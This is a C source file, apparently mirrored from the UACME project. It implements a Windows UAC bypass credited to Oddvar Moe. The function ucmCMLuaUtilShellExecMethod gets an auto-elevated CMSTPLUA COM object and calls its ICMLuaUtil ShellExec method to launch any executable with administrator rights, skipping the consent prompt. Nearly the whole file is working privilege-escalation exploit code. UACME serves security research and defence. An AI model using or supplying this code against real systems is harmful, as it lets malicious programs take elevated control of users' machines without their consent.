mirror of
https://github.com/hfiref0x/UACME
synced 2026-06-08 14:39:53 +00:00
hfiref0x
88 lines
2.0 KiB
C
88 lines
2.0 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2017 - 2020
|
|
*
|
|
* TITLE: API0CRADLE.C
|
|
*
|
|
* VERSION: 3.50
|
|
*
|
|
* DATE: 11 Oct 2020
|
|
*
|
|
* UAC bypass method from Oddvar Moe aka api0cradle.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
/*
|
|
* ucmCMLuaUtilShellExecMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using AutoElevated undocumented CMLuaUtil interface.
|
|
* This function expects that supMasqueradeProcess was called on process initialization.
|
|
*
|
|
*/
|
|
NTSTATUS ucmCMLuaUtilShellExecMethod(
|
|
_In_ LPWSTR lpszExecutable
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
HRESULT r = E_FAIL, hr_init;
|
|
BOOL bApprove = FALSE;
|
|
ICMLuaUtil* CMLuaUtil = NULL;
|
|
|
|
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
|
|
do {
|
|
|
|
//
|
|
// Potential fix check.
|
|
//
|
|
if (supIsConsentApprovedInterface(T_CLSID_CMSTPLUA, &bApprove)) {
|
|
if (bApprove == FALSE) {
|
|
MethodResult = STATUS_NOINTERFACE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
r = ucmAllocateElevatedObject(
|
|
T_CLSID_CMSTPLUA,
|
|
&IID_ICMLuaUtil,
|
|
CLSCTX_LOCAL_SERVER,
|
|
(void**)&CMLuaUtil);
|
|
|
|
if (r != S_OK)
|
|
break;
|
|
|
|
if (CMLuaUtil == NULL) {
|
|
r = E_OUTOFMEMORY;
|
|
break;
|
|
}
|
|
|
|
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
|
|
lpszExecutable,
|
|
NULL,
|
|
NULL,
|
|
SEE_MASK_DEFAULT,
|
|
SW_SHOW);
|
|
|
|
if (SUCCEEDED(r))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (CMLuaUtil != NULL) {
|
|
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
|
|
}
|
|
|
|
if (hr_init == S_OK)
|
|
CoUninitialize();
|
|
|
|
return MethodResult;
|
|
}
|